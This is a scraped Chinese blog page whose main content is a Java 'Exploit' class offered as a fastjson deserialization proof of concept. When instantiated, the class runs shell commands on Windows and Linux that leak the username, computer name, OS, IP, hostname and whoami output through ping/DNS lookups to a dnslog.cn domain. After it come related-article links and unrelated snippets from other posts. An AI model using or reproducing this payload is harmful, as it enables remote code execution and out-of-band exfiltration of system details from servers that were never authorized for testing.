fastjson ping外带信息poc
public class Exploit {
public Exploit(){
String base_url = ".egpkd5.dnslog.cn"; //你的dnslog地址
String win_dnslog = "windows" + base_url;
// windows
try{
String[] commands = { "cmd", "/c", "ping username.%username%." + win_dnslog};
Runtime.getRuntime().exec(commands);
}catch(Exception e){
// e.printStackTrace();
}
try{
String[] commands = { "cmd", "/c", "ping computername.%computername%." + win_dnslog};
Runtime.getRuntime().exec(commands);
}catch(Exception e){
// e.printStackTrace();
}
try{
String[] commands = { "cmd", "/c", "ping os.%os%." + win_dnslog};
Runtime.getRuntime().exec(commands);
}catch(Exception e){
// e.printStackTrace();
}
// linux
String linux_dnslog = "linux" + base_url;
try{
String[] commands = { "/bin/sh", "-c", "ping ip.`ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk -F: '{print $2}'|awk '{ gsub(/\\./,\"-\"); print $0 }'`." + linux_dnslog};
Runtime.getRuntime().exec(commands);
}catch(Exception e){
// e.printStackTrace();
}
try{
String[] commands = { "/bin/sh", "-c", "ping ip.`ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk '{ gsub(/\\./,\"-\"); print $0 }'`." + linux_dnslog};
Runtime.getRuntime().exec(commands);
}catch(Exception e){
// e.printStackTrace();
}
try{
String[] commands = { "/bin/sh", "-c", "ping hostname.`cat /proc/sys/kernel/hostname`." + linux_dnslog};
Runtime.getRuntime().exec(commands);
}catch(Exception e){
// e.printStackTrace();
}
try{
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`." + linux_dnslog};
Runtime.getRuntime().exec(commands);
}catch(Exception e){
// e.printStackTrace();
}
}
public static void main(String[] args){
Exploit e = new Exploit();
}
}
fastjson ping外带信息poc的更多相关文章
- fastjson反序列化漏洞原理及利用
重要漏洞利用poc及版本 我是从github上的参考中直接copy的exp,这个类就是要注入的类 import java.lang.Runtime; import java.lang.Process; ...
- Java安全之FastJson JdbcRowSetImpl 链分析
Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...
- powershell对txt文件的服务器进行ping操作
powershell对txt文件的服务器进行ping操作,txt文件有几百台服务器要进行Ping操作.每行一个 #//***************************************** ...
- ping命令
ping命令能够用于判断一个主机是否可达或者是否存活.它的工作原理就像潜水艇的探测原理一样.该命令通过向目标计算机发送一个数据包,请求目标计算机回送该数据包以表明自己还存活着.同时该命令还能够知道数据 ...
- TCP协议学习记录 (三) Ping程序 RR选项 记录路由hop
一开始想直接在上个程序改,自己构造IP包头,但后来发现不行,微软不让干了,所以后来选用libcap库来收发包 代码写的很乱.. #pragma pack(4) #define ECHO_REQUEST ...
- TCP协议学习记录 (二) Ping程序
简单的实现了一个ping程序,没有做icmp差错报文的检查. 支持自定义字节数,支持发包个数 #pragma pack(4) #define ECHO_REQUEST 8 #define DATASI ...
- 用ping命令来模拟traceroute的功能
ping -n 1 -r 9 qq.com 正在 Ping qq.com [163.177.65.160] 具有 32 字节的数据:来自 163.177.65.160 的回复: 字节=32 时间=11 ...
- 物理机与虚拟机IP互ping通,而互ping主机名不通
问题描述:虚拟机信息:VMware-workstation 10安装RHEL5.8操作系统.hostname:rhel201.com IP:192.168.1.201 物理机系统:windows 7主 ...
- 同网段电脑互ping
两台同网段的主机(host)之间的网络通信是不经过网关的. 今天试了一下,用一根网线连接两台电脑,然后 在一台电脑上设置: ip地址:192.168.0.1 子网掩码:255.255.255.0 在另 ...
随机推荐
- LeetCode 151. 翻转字符串里的单词(Reverse Words in a String)
151. 翻转字符串里的单词 151. Reverse Words in a String
- RDP Error: The Identity Of The Remote Computer Cannot Be Verified
As i always need to remote to 20 servers at the same time, so i use a tool called Remote Desktop Con ...
- Ant Design Vue select下拉列表设置默认值
在项目中需要为Ant Design Vue 的 select 组件设置一个默认值,如下图所示的状态下拉选择框,默认选择全部 代码如下: <a-select v-model="query ...
- authenticate的执行流程与重写
流程 1.authenticate调用的是_get_backends函数 def authenticate(request=None, **credentials): for backend, bac ...
- DjangoRestFramework学习二之序列化组件、视图组件
本节目录 一 序列化组件 二 视图组件 三 xxx 四 xxx 五 xxx 六 xxx 七 xxx 八 xxx 一 序列化组件 首先按照restful规范咱们创建一些api接口,按照下面这些形式写吧: ...
- 数据分析——Pandas的用法(Series,DataFrame)
我们先要了解,pandas是基于Numpy构建的,pandas中很多的用法和numpy一致.pandas中又有series和DataFrame,Series是DataFrame的基础. pandas的 ...
- werkzeug.routing.BuildError: Could not build url for endpoint 'index'. Did you mean 'user.index' instead?
werkzeug.routing.BuildError: Could not build url for endpoint 'index'. Did you mean 'user.index' ins ...
- ADO.NET 一般操作(c#)
ADO.NET五大对象:SqlConnection.SqlCommand.SqlDataReader.SqlDataAdapter .DataSet ,其中SqlDataAdapter 不建议使用 一 ...
- git 学习笔记 ---安装
Git是什么? Git是目前世界上最先进的分布式版本控制系统(没有之一). 安装Git 在Linux上安装Git 首先,你可以试着输入git,看看系统有没有安装Git: $ git The progr ...
- go 计算文件行
package main import ( "bufio" "fmt" "os" ) func main() { //判断命令行参数,小于两 ...